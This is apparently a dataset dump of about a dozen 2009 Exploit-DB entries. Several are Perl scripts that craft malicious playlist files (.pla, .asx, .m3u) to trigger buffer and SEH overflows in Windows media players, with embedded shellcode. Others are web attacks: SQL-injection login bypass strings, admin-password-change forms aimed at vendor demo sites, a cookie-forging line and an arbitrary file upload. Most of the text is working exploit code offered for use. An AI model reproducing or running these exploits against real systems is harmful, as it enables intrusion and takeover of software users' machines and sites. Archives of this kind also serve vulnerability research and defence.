QLWD/code_shield huggingface dataset:
标题: Sorinara Streaming Audio Player 0.9 - '.pla' Local Stack Overflow EDB-ID: 8640 CVE: 2009-1644 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: # by : Hakxer -> EgY Coders Team
# Streaming Audio Player 0.9 (.PLA File) Local Stack Overflow Exploit
# hakxer.1@gmail.com
# Greetz : Allah
#                , ExH , ProViDoR , Error Code , Br1ght D@rk , all my friends
##########################################################################
 
$buff="\x41" x 288;
$ret="\x77\xE9\xAE\x59"; # 0x77E9AE59      call esp
$nops="\x90" x 20;
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x30\x42\x30\x42\x50\x4b\x48\x45\x44\x4e\x43\x4b\x48\x4e\x37".
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x31\x4b\x38".
"\x4f\x55\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x48".
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c".
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x45\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x38".
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34".
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x41\x4b\x58".
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x37".
"\x4e\x50\x4b\x38\x42\x44\x4e\x50\x4b\x58\x42\x47\x4e\x31\x4d\x4a".
"\x4b\x58\x4a\x56\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x58\x42\x4b".
"\x42\x50\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x47".
"\x42\x35\x4a\x36\x42\x4f\x4c\x48\x46\x50\x4f\x55\x4a\x56\x4a\x39".
"\x50\x4f\x4c\x38\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x36\x43\x56\x42\x50\x5a";
open(MYFILE,'>>exploit.pla');
print MYFILE $buff;
print MYFILE $ret;
print MYFILE $nops;
print MYFILE $shellcode;
close(MYFILE);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8640
标题: Battle Blog 1.25 - 'uploadform.asp' Arbitrary File Upload EDB-ID: 8647 CVE: 2009-1609 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-08 漏洞利用脚本: ***********************************************************************
         *  Battle Blog 1.25 (uploadform.asp) Remote File Upload Vulnerability *
         ***********************************************************************
         

         Found By : Cyber-Zone (ABDELKHALEK)


 
         +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
         http://localhost/blog/admin/uploadform.asp
         
         After You Upload Your File You Will See The Link To THE File Just Below
         
         
         
         some demos :+
         
         http://www.xxx.com/admin/uploadform.asp
         
         
         
         
      
         Have Nice Day                                             //Cyber-Zone
         +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-05-08] URL: https://www.exploit-db.com/exploits/8647
标题: ViPlay3 < 3.00 - '.vpl' Local Stack Overflow (PoC) EDB-ID: 8644 CVE: 2009-1660 类型: DOS 平台: WINDOWS 发布日期: 2009-05-08 漏洞利用脚本: #/usr/bin/perl
#
# ViPlay3 <= 3.00 (.vpl) Local Stack Overflow PoC
#
# Product web page: http://www.urusoft.net/
# Tested on Microsoft Windows XP Professional SP3 (English)
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# http://www.zeroscience.org/
# 08.05.2009

$b= "[General]\r\n".
    "Title=Proof of Concept\r\n".
    "Author=LiquidWorm\r\n".
    "Comments=2009\r\n".
    "Version=1.0\r\n".
    "[Files]\r\n";
    "Count=800000\r\n".
    "LastPlayed=0\r\n";
$c= "1=" . "A" x 800000 . "\r\n";
open a, ">./lqwrm.vpl";
print a $b.$c;
close a;
print "\n- Done!\n";

# milw0rm.com [2009-05-08] URL: https://www.exploit-db.com/exploits/8644
标题: The Recipe Script 5 - Authentication Bypass / Database Backup EDB-ID: 8642 CVE: 2009-1662 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-08 漏洞利用脚本: -----------------------------------------------------
The Recipe Script version 5 (Auth Bypass) Remote Sql Injecion/ Database Backup Exploit
-----------------------------------------------------
Founder: TiGeR-Dz
script:The Recipe Script version 5
downlaod:http://recipescript.com/
-----------------------------------------------------------
-----------------------------------------------------------
(Auth Bypass) Remote Sql Injecion
--------------------------------
username:  ' or '1=1
Password:  ' or '1=1

demo:
-----
http://recipescript.com/demo/admin/index.php
------------------------------------------------------
Database Backup Exploit:
-------------------------
After login to administration panel to get Backup

http://recipescript.com/demo/admin/db_backup.php

--------------------------------------------------------

# milw0rm.com [2009-05-08] URL: https://www.exploit-db.com/exploits/8642
标题: Job Script 2.0 - Arbitrary Change Admin Password EDB-ID: 8639 CVE: 2009-1610 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-07 漏洞利用脚本: <head>
    <title>Job Script V2.0 - Job Board Software change pasword admin </title>
 
</head>
    </head>

<body>




<div id="page">
   
      <div id="middle">
          <div class="center">
 
<table width=100% cellspacing=15>
<tr>
    <td width="223"><b>admin :</b></td><td>admin@admin.com</td>
</tr>
</table>

<body>




<div id="page">
   
      <div id="middle">
          <div class="center">
 
<table width=100% cellspacing=15>
<tr><td valign=top>


<b><i>Change password</i></b><br />
<br />





<form action=http://www.jobscriptdemo.com/admin/changepassword.php METHOD=POST>
<input type=password name=password>

<input type=submit name=submit value="Change Password">
</form>
 
</td>
</tr>
</table>





          </div>
     </div>
     <div class="clear"></div>
     
     
</div>
</body>
</html>
     






          <p>&nbsp;<p><font size="5">Cod[3]d By:TiGeR-dZ</font></div>
     </div>
     <div class="clear"></div>
     
     
</div>
<p><font size="5"> ;Script:<font color="#FF0000">Job Script V2.0 - Job Board Software</font></font></p>
<p><font size="5">Download</font><font size="5">:</font><a href="http://www.jobscript.net/job-board-software/"><font size="5">http://www.jobscript.net/job-board-software/</font></a></p>
<p><font size="5">Mail:<font color="#FF0000">Tiger-dz@live.com</font></font></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</body>
</html>

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8639
标题: Simple Customer 1.3 - Arbitrary Change Admin Password EDB-ID: 8638 CVE: 2009-1637 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-07 漏洞利用脚本: ---- Remote Change admin Password----
----------------------------
script:Simple Customer 1.3
----------------------------
Author: ahmadbady
email:kivi_hacker666@yahoo.com

--------------------
download from:http://www.simplecustomer.com/  New (Version 1.3)

--------------------
xpl:



</head>
<body>
<form action="http://www.simplecustomer.com/demo/profile.php" method="post">
<div class="container">
  <div class="leftcolumn">
    <h2>coded by ahmadbady</h2>
    </span>
    <form id="form1" name="form1" method="post" action="">
      <p>Email
        <br />
        <input name="email" type="text" id="email" value="" class="required validate-email" size="35" />
      </p>
      <p><br />
        <input name="password" type="password" id="password" />
          <br />
      </p>
      <p>Home Page<br />
        <input name="Submit2" type="submit" id="Submit2" value="Update" /> 
        </p>
    </form>

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8638
标题: Mini-stream RM-MP3 Converter 3.0.0.7 - '.asx' Local Buffer Overflow EDB-ID: 8634 CVE: 2009-1645 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
 Mini-stream RM-MP3 Converter 3.0.0.7 .ASX File (HREF) Local Buffer Overflow Exploit
==============================================================================
 [Â»] Script:.............[ Mini-stream RM-MP3 Converter 3.0.0.7 ]........
 [Â»] Website:............[ http://mini-stream.net/ ].....................
 [Â»] Today:..............[ 07052009 ]....................................
 [Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

 [x] tested on Windows XP SP2...
 [x] if you are not able to make this shit work, just put it in the Base/Root
     of a Drive/Partition, like "C:\gnk.asx"...

=cut

my $MSD = "G" x 26110;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

my $ASX = 
"<asx version=\"3.0\">
  <title>Title is not important.</title>
  <entry>
    <title>Example...</title>
    <ref href=\"".$MSD.$RA.$SMN.$Shcode."\" />
    <author>G4N0K</author>
    <copyright>Â©2009 G4N0K</copyright>
  </entry>
</asx>";

  open(ASX,'>>gnk.asx');
  print ASX $ASX;
  close(ASX);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8634
标题: Mini-stream ASX to MP3 Converter 3.0.0.7 - '.asx HREF' Local Buffer Overflow EDB-ID: 8630 CVE: 2009-1642 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
 Mini-stream ASX to MP3 Converter 3.0.0.7 .ASX File (HREF) Local Buffer Overflow Exploit
==============================================================================
 [Â»] Script:.............[ Mini-stream ASX to MP3 Converter 3.0.0.7 ]....
 [Â»] Website:............[ http://mini-stream.net/ ].....................
 [Â»] Today:..............[ 07052009 ]....................................
 [Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

 [x] tested on Windows XP SP2...
 [x] if you are not able to make this shit work, just put it in the Base/Root
     of a Drive/Partition, like "C:\gnk.asx"...

=cut

my $MSD = "G" x 26110;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

my $ASX = 
"<asx version=\"3.0\">
  <title>Title is not important.</title>
  <entry>
    <title>Example...</title>
    <ref href=\"".$MSD.$RA.$SMN.$Shcode."\" />
    <author>G4N0K</author>
    <copyright>Â©2009 G4N0K</copyright>
  </entry>
</asx>";

  open(ASX,'>>gnk.asx');
  print ASX $ASX;
  close(ASX);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8630
标题: Soritong MP3 Player 1.0 - Local Buffer Overflow (SEH) EDB-ID: 8624 CVE: 2009-1643 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
# Soritong MP3 Player 1.0 Seh Overwrite Exploit
# http://www.sorinara.com/soritong/soritong10.exe
use strict;
use warnings;
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $junk = "\x41" x 260;
my $next_seh="\xeb\x06\x90\x90";
my $seh  = "\x44\x25\xD1\x72"; #
my $nops = "\x90" x 50;
my $nopsled = "\x90" x 20;
open(my $playlist, "> seh_exploit.m3u");
print $playlist
                    $junk.$next_seh.$seh.$nops.$shellcode.$nopsled.
                    "\r\n";
close $playlist;

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8624
标题: VIDEOSCRIPT.us - Authentication Bypass EDB-ID: 8635 CVE: 2009-1804 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-07 漏洞利用脚本: -------------------------AllaH AkbaR-------------------------------
videoscript (Auth Bypass) Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:demo
http://www.videoscript.us/admin/
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
Username:   ' or '1=1
Password:   ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
His0k4:::Mr.HCOCA_MAN:::DrEaDFuL:::
yassine_enpsunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8635
标题: Mini-stream Ripper 3.0.1.1 - '.asx' 'HREF' Local Buffer Overflow EDB-ID: 8632 CVE: 2009-1641 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
 Mini-stream Ripper 3.0.1.1 .ASX File (HREF) Local Buffer Overflow Exploit
==============================================================================
 [Â»] Script:.............[ Mini-stream Ripper 3.0.1.1 ]..................
 [Â»] Website:............[ http://mini-stream.net/ ].....................
 [Â»] Today:..............[ 07052009 ]....................................
 [Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

 [x] tested on Windows XP SP2...
 [x] if you are not able to make this shit work, just put it in the Base/Root
     of a Drive/Partition, like "C:\gnk.asx"...

=cut

my $MSD = "G" x 26110;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

my $ASX = 
"<asx version=\"3.0\">
  <title>Title is not important.</title>
  <entry>
    <title>Example...</title>
    <ref href=\"".$MSD.$RA.$SMN.$Shcode."\" />
    <author>G4N0K</author>
    <copyright>Â©2009 G4N0K</copyright>
  </entry>
</asx>";

  open(ASX,'>>gnk.asx');
  print ASX $ASX;
  close(ASX);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8632
标题: T-Dreams Job Career Package 3.0 - Insecure Cookie Handling EDB-ID: 8627 CVE: 2009-1638 类型: WEBAPPS 平台: ASP 发布日期: 2009-05-07 漏洞利用脚本: ---------------------------------------------------------------
---------------------------------------------------------------
Job Career Package  V3.0  Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:WwW.h4ckF0u.CoM
Vendor:http://www.t-dreams.com
---------------------------------------------------------------
---------------------------------------------------------------
Job Career Package  V3.0  Insecure Cookie Handling Vulnerability
------------------------------------------------
http://victim/[path]/Admin/login.asp

Exploit
-------
javascript:document.cookie="JobCareerAdmin=Login;path=/";
Dem0
----
http://www.t-dreams.com/demo/jobcareerv3/Admin/login.asp
--------------------------------------

Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8627